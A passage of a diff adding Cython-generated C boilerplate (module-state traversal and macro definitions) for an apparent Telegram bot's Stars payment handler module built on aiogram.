Py_CLEAR(clear_module_state->__pyx_codeobj__23); + Py_CLEAR(clear_module_state->__pyx_codeobj__27); + Py_CLEAR(clear_module_state->__pyx_codeobj__28); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment); + Py_VISIT(traverse_module_state->__pyx_kp_u_21U68SOLOBOT); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_LabeledPrice); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_PreCheckoutQuery); + Py_VISIT(traverse_module_state->__pyx_n_s_RUB_TO_XTR); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_STARS_ROUTER); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_n_u_XTR); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_n_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__24); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_n_u__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__30); + Py_VISIT(traverse_module_state->__pyx_n_s__38); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__5); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_answer_invoice); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_currency); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_delete); + Py_VISIT(traverse_module_state->__pyx_n_s_description); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_stars_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_stars_pay_py); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_t_me_PremiumBot); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_invoice_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_label); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_ok); + Py_VISIT(traverse_module_state->__pyx_n_s_on_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_n_s_on_successful_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_pre_checkout_query); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_prices); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_stars); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_provider_token); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_u_stars); + Py_VISIT(traverse_module_state->__pyx_n_u_stars_2); + Py_VISIT(traverse_module_state->__pyx_n_u_stars_3); + Py_VISIT(traverse_module_state->__pyx_kp_u_stars_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_successful_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_title); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__9); + Py_VISIT(traverse_module_state->__pyx_tuple__22); + Py_VISIT(traverse_module_state->__pyx_tuple__31); + Py_VISIT(traverse_module_state->__pyx_tuple__32); + Py_VISIT(traverse_module_state->__pyx_tuple__33); + Py_VISIT(traverse_module_state->__pyx_tuple__34); + Py_VISIT(traverse_module_state->__pyx_tuple__35); + Py_VISIT(traverse_module_state->__pyx_tuple__36); + Py_VISIT(traverse_module_state->__pyx_tuple__37); + Py_VISIT(traverse_module_state->__pyx_codeobj__7); + Py_VISIT(traverse_module_state->__pyx_codeobj__19); + Py_VISIT(traverse_module_state->__pyx_codeobj__23); + Py_VISIT(traverse_module_state->__pyx_codeobj__27); + Py_VISIT(traverse_module_state->__pyx_codeobj__28); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType __pyx_mstate_global->__pyx_CyFunctionType +#endif +#ifdef __Pyx_FusedFunction_USED +#define __pyx_FusedFunctionType __pyx_mstate_global->__pyx_FusedFunctionType +#endif +#ifdef __Pyx_Generator_USED +#define __pyx_GeneratorType __pyx_mstate_global->__pyx_GeneratorType +#endif +#ifdef __Pyx_IterableCoroutine_USED +#define __pyx_IterableCoroutineType __pyx_mstate_global->__pyx_IterableCoroutineType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineAwaitType __pyx_mstate_global->__pyx_CoroutineAwaitType +#endif +#ifdef __Pyx_Coroutine_USED +#define __pyx_CoroutineType __pyx_mstate_global->__pyx_CoroutineType +#endif +#if CYTHON_USE_MODULE_STATE +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query +#define __pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment __pyx_mstate_global->__pyx_type_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment +#endif +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct__process_callback_pay_stars +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_1_process_amount_selection +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_2_process_enter_custom_amount +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_3_process_custom_amount_input +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_4_on_pre_checkout_query +#define __pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment __pyx_mstate_global->__pyx_ptype_8handlers_8payments_9stars_pay___pyx_scope_struct_5_on_successful_payment +#define __pyx_kp_u_21U68SOLOBOT __pyx_mstate_global->__pyx_kp_u_21U68SOLOBOT +#define __pyx_n_s_Any __pyx_mstate_global->__pyx_n_s_Any +#define __pyx_kp_u_CRYPTO_HASH __pyx_mstate_global->__pyx_kp_u_CRYPTO_HASH +#define __pyx_n_s_F __pyx_mstate_global->__pyx_n_s_F +#define __pyx_n_s_FSMContext __pyx_mstate_global->__pyx_n_s_FSMContext +#define __pyx_n_s_InlineKeyboardBuilder __pyx_mstate_global->__pyx_n_s_InlineKeyboardBuilder +#define __pyx_n_s_InlineKeyboardButton __pyx_mstate_global->__pyx_n_s_InlineKeyboardButton +#define __pyx_n_s_LabeledPrice __pyx_mstate_global->__pyx_n_s_LabeledPrice +#define __pyx_n_s_PAYMENT_OPTIONS __pyx_mstate_global->__pyx_n_s_PAYMENT_OPTIONS +#define __pyx_kp_u_Payment_succeeded_for_user_id __pyx_mstate_global->__pyx_kp_u_Payment_succeeded_for_user_id +#define __pyx_n_s_PreCheckoutQuery __pyx_mstate_global->__pyx_n_s_PreCheckoutQuery +#define __pyx_n_s_RUB_TO_XTR __pyx_mstate_global->__pyx_n_s_RUB_TO_XTR +#define __pyx_n_s_ReplenishBalanceState __pyx_mstate_global->__pyx_n_s_ReplenishBalanceState +#define __pyx_n_s_Router __pyx_mstate_global->__pyx_n_s_Router +#define __pyx_n_s_STARS_ROUTER __pyx_mstate_global->__pyx_n_s_STARS_ROUTER +#define __pyx_n_s_State __pyx_mstate_global->__pyx_n_s_State +#define __pyx_n_s_StatesGroup __pyx_mstate_global->__pyx_n_s_StatesGroup +#define __pyx_n_s_ValueError __pyx_mstate_global->__pyx_n_s_ValueError +#define __pyx_n_u_XTR __pyx_mstate_global->__pyx_n_u_XTR +#define __pyx_kp_u__10 __pyx_mstate_global->__pyx_kp_u__10 +#define __pyx_kp_u__11 __pyx_mstate_global->__pyx_kp_u__11 +#define __pyx_kp_u__12 __pyx_mstate_global->__pyx_kp_u__12 +#define __pyx_n_u__13 __pyx_mstate_global->__pyx_n_u__13 +#define __pyx_kp_u__14 __pyx_mstate_global->__pyx_kp_u__14 +#define __pyx_kp_u__15 __pyx_mstate_global->__pyx_kp_u__15 +#define __pyx_kp_u__16 __pyx_mstate_global->__pyx_kp_u__16 +#define __pyx_kp_u__17 __pyx_mstate_global->__pyx_kp_u__17 +#define __pyx_kp_u__18 __pyx_mstate_global->__pyx_kp_u__18 +#define __pyx_kp_u__2 __pyx_mstate_global->__pyx_kp_u__2 +#define __pyx_kp_u__20 __pyx_mstate_global->__pyx_kp_u__20 +#define __pyx_kp_u__21 __pyx_mstate_global->__pyx_kp_u__21 +#define __pyx_kp_u__24 __pyx_mstate_global->__pyx_kp_u__24 +#define __pyx_kp_u__25 __pyx_mstate_global->__pyx_kp_u__25 +#define __pyx_kp_u__26 __pyx_mstate_global->__pyx_kp_u__26 +#define __pyx_n_u__29 __pyx_mstate_global->__pyx_n_u__29 +#define __pyx_kp_u__3 __pyx_mstate_global->__pyx_kp_u__3 +#define __pyx_kp_u__30 __pyx_mstate_global->__pyx_kp_u__30 +#define __pyx_n_s__38 __pyx_mstate_global->__pyx_n_s__38 +#define __pyx_kp_u__4 __pyx_mstate_global->__pyx_kp_u__4 +#define __pyx_kp_u__5 __pyx_mstate_global->__pyx_kp_u__5 +#define __pyx_kp_u__6 __pyx_mstate_global->__pyx_kp_u__6 +#define __pyx_kp_u__8 __pyx_mstate_global->__pyx_kp_u__8 +#define __pyx_n_s_add_connection __pyx_mstate_global->__pyx_n_s_add_connection +#define __pyx_n_s_add_payment __pyx_mstate_global->__pyx_n_s_add_payment +#define __pyx_n_s_aiogram __pyx_mstate_global->__pyx_n_s_aiogram +#define __pyx_n_s_aiogram_fsm_context __pyx_mstate_global->__pyx_n_s_aiogram_fsm_context +#define __pyx_n_s_aiogram_fsm_state __pyx_mstate_global->__pyx_n_s_aiogram_fsm_state +#define __pyx_n_s_aiogram_types __pyx_mstate_global->__pyx_n_s_aiogram_types +#define __pyx_n_s_aiogram_utils_keyboard __pyx_mstate_global->__pyx_n_s_aiogram_utils_keyboard +#define __pyx_n_s_amount __pyx_mstate_global->__pyx_n_s_amount +#define __pyx_kp_u_amount_2 __pyx_mstate_global->__pyx_kp_u_amount_2 +#define __pyx_n_s_amount_str __pyx_mstate_global->__pyx_n_s_amount_str +#define __pyx_n_s_answer __pyx_mstate_global->__pyx_n_s_answer +#define __pyx_n_s_answer_invoice __pyx_mstate_global->__pyx_n_s_answer_invoice +#define __pyx_n_s_args __pyx_mstate_global->__pyx_n_s_args +#define __pyx_n_s_as_markup __pyx_mstate_global->__pyx_n_s_as_markup +#define __pyx_n_s_asyncio_coroutines __pyx_mstate_global->__pyx_n_s_asyncio_coroutines +#define __pyx_n_s_await __pyx_mstate_global->__pyx_n_s_await +#define __pyx_n_s_balance __pyx_mstate_global->__pyx_n_s_balance +#define __pyx_n_s_builder __pyx_mstate_global->__pyx_n_s_builder +#define __pyx_n_s_callback_data __pyx_mstate_global->__pyx_n_s_callback_data +#define __pyx_n_u_callback_data __pyx_mstate_global->__pyx_n_u_callback_data +#define __pyx_n_s_callback_query __pyx_mstate_global->__pyx_n_s_callback_query +#define __pyx_n_s_chat __pyx_mstate_global->__pyx_n_s_chat +#define __pyx_n_s_check_connection_exists __pyx_mstate_global->__pyx_n_s_check_connection_exists +#define __pyx_n_s_choosing_amount_stars __pyx_mstate_global->__pyx_n_s_choosing_amount_stars +#define __pyx_n_s_class_getitem __pyx_mstate_global->__pyx_n_s_class_getitem +#define __pyx_n_s_cline_in_traceback __pyx_mstate_global->__pyx_n_s_cline_in_traceback +#define __pyx_n_s_close __pyx_mstate_global->__pyx_n_s_close +#define __pyx_n_s_config __pyx_mstate_global->__pyx_n_s_config +#define __pyx_n_s_currency __pyx_mstate_global->__pyx_n_s_currency +#define __pyx_n_s_data __pyx_mstate_global->__pyx_n_s_data +#define __pyx_n_s_database __pyx_mstate_global->__pyx_n_s_database +#define __pyx_n_s_debug __pyx_mstate_global->__pyx_n_s_debug +#define __pyx_n_s_delete __pyx_mstate_global->__pyx_n_s_delete +#define __pyx_n_s_description __pyx_mstate_global->__pyx_n_s_description +#define __pyx_n_s_dict __pyx_mstate_global->__pyx_n_s_dict +#define __pyx_kp_u_disable __pyx_mstate_global->__pyx_kp_u_disable +#define __pyx_n_s_doc __pyx_mstate_global->__pyx_n_s_doc +#define __pyx_n_s_e __pyx_mstate_global->__pyx_n_s_e +#define __pyx_kp_u_enable __pyx_mstate_global->__pyx_kp_u_enable +#define __pyx_n_u_enter_custom_amount_stars __pyx_mstate_global->__pyx_n_u_enter_custom_amount_stars +#define __pyx_n_s_entering_custom_amount_stars __pyx_mstate_global->__pyx_n_s_entering_custom_amount_stars +#define __pyx_n_s_error __pyx_mstate_global->__pyx_n_s_error +#define __pyx_n_s_exists __pyx_mstate_global->__pyx_n_s_exists +#define __pyx_n_s_expected_hash __pyx_mstate_global->__pyx_n_s_expected_hash +#define __pyx_kp_u_gc __pyx_mstate_global->__pyx_kp_u_gc +#define __pyx_n_s_get_key_count __pyx_mstate_global->__pyx_n_s_get_key_count +#define __pyx_n_s_handlers_payments_gift __pyx_mstate_global->__pyx_n_s_handlers_payments_gift +#define __pyx_n_s_handlers_payments_stars_pay __pyx_mstate_global->__pyx_n_s_handlers_payments_stars_pay +#define __pyx_kp_s_handlers_payments_stars_pay_py __pyx_mstate_global->__pyx_kp_s_handlers_payments_stars_pay_py +#define __pyx_n_s_handlers_payments_utils __pyx_mstate_global->__pyx_n_s_handlers_payments_utils +#define __pyx_n_s_handlers_texts __pyx_mstate_global->__pyx_n_s_handlers_texts +#define __pyx_kp_u_https_t_me_PremiumBot __pyx_mstate_global->__pyx_kp_u_https_t_me_PremiumBot +#define __pyx_n_s_i __pyx_mstate_global->__pyx_n_s_i +#define __pyx_n_s_id __pyx_mstate_global->__pyx_n_s_id +#define __pyx_n_s_import __pyx_mstate_global->__pyx_n_s_import +#define __pyx_n_s_init_subclass __pyx_mstate_global->__pyx_n_s_init_subclass +#define __pyx_n_s_invoice_payload __pyx_mstate_global->__pyx_n_s_invoice_payload +#define __pyx_n_s_is_coroutine __pyx_mstate_global->__pyx_n_s_is_coroutine +#define __pyx_n_s_isdigit __pyx_mstate_global->__pyx_n_s_isdigit +#define __pyx_kp_u_isenabled __pyx_mstate_global->__pyx_kp_u_isenabled +#define __pyx_n_s_key_count __pyx_mstate_global->__pyx_n_s_key_count +#define __pyx_n_s_label __pyx_mstate_global->__pyx_n_s_label +#define __pyx_n_s_logger __pyx_mstate_global->__pyx_n_s_logger +#define __pyx_n_s_main __pyx_mstate_global->__pyx_n_s_main +#define __pyx_n_s_message __pyx_mstate_global->__pyx_n_s_message +#define __pyx_n_s_metaclass __pyx_mstate_global->__pyx_n_s_metaclass +#define __pyx_n_s_module __pyx_mstate_global->__pyx_n_s_module +#define __pyx_n_s_mro_entries __pyx_mstate_global->__pyx_n_s_mro_entries +#define __pyx_n_s_name __pyx_mstate_global->__pyx_n_s_name +#define __pyx_n_s_ok __pyx_mstate_global->__pyx_n_s_ok +#define __pyx_n_s_on_pre_checkout_query __pyx_mstate_global->__pyx_n_s_on_pre_checkout_query +#define __pyx_n_s_on_successful_payment __pyx_mstate_global->__pyx_n_s_on_successful_payment +#define __pyx_n_s_pay __pyx_mstate_global->__pyx_n_s_pay +#define __pyx_n_u_pay __pyx_mstate_global->__pyx_n_u_pay +#define __pyx_n_u_pay_stars __pyx_mstate_global->__pyx_n_u_pay_stars +#define __pyx_n_s_payload __pyx_mstate_global->__pyx_n_s_payload +#define __pyx_n_s_pre_checkout_query __pyx_mstate_global->__pyx_n_s_pre_checkout_query +#define __pyx_n_s_prepare __pyx_mstate_global->__pyx_n_s_prepare +#define __pyx_n_s_prices __pyx_mstate_global->__pyx_n_s_prices +#define __pyx_n_s_process_amount_selection __pyx_mstate_global->__pyx_n_s_process_amount_selection +#define __pyx_n_s_process_callback_pay_stars __pyx_mstate_global->__pyx_n_s_process_callback_pay_stars +#define __pyx_n_s_process_custom_amount_input __pyx_mstate_global->__pyx_n_s_process_custom_amount_input +#define __pyx_n_s_process_enter_custom_amount __pyx_mstate_global->__pyx_n_s_process_enter_custom_amount +#define __pyx_n_s_provider_token __pyx_mstate_global->__pyx_n_s_provider_token +#define __pyx_n_s_qualname __pyx_mstate_global->__pyx_n_s_qualname +#define __pyx_n_s_range __pyx_mstate_global->__pyx_n_s_range +#define __pyx_n_s_reply_markup __pyx_mstate_global->__pyx_n_s_reply_markup +#define __pyx_n_s_router __pyx_mstate_global->__pyx_n_s_router +#define __pyx_n_s_row __pyx_mstate_global->__pyx_n_s_row +#define __pyx_n_s_send __pyx_mstate_global->__pyx_n_s_send +#define __pyx_n_s_send_payment_success_notificatio __pyx_mstate_global->__pyx_n_s_send_payment_success_notificatio +#define __pyx_n_s_session __pyx_mstate_global->__pyx_n_s_session +#define __pyx_n_s_set_name __pyx_mstate_global->__pyx_n_s_set_name +#define __pyx_n_s_set_state __pyx_mstate_global->__pyx_n_s_set_state +#define __pyx_kp_u_solonet_sup __pyx_mstate_global->__pyx_kp_u_solonet_sup +#define __pyx_n_s_split __pyx_mstate_global->__pyx_n_s_split +#define __pyx_n_u_stars __pyx_mstate_global->__pyx_n_u_stars +#define __pyx_n_u_stars_2 __pyx_mstate_global->__pyx_n_u_stars_2 +#define __pyx_n_u_stars_3 __pyx_mstate_global->__pyx_n_u_stars_3 +#define __pyx_kp_u_stars_amount __pyx_mstate_global->__pyx_kp_u_stars_amount +#define __pyx_n_s_startswith __pyx_mstate_global->__pyx_n_s_startswith +#define __pyx_n_s_state __pyx_mstate_global->__pyx_n_s_state +#define __pyx_n_s_successful_payment __pyx_mstate_global->__pyx_n_s_successful_payment +#define __pyx_n_s_super __pyx_mstate_global->__pyx_n_s_super +#define __pyx_n_s_test __pyx_mstate_global->__pyx_n_s_test +#define __pyx_n_s_text __pyx_mstate_global->__pyx_n_s_text +#define __pyx_n_u_text __pyx_mstate_global->__pyx_n_u_text +#define __pyx_n_s_tg_id __pyx_mstate_global->__pyx_n_s_tg_id +#define __pyx_n_s_throw __pyx_mstate_global->__pyx_n_s_throw +#define __pyx_n_s_title __pyx_mstate_global->__pyx_n_s_title +#define __pyx_n_s_trial __pyx_mstate_global->__pyx_n_s_trial +#define __pyx_n_s_types 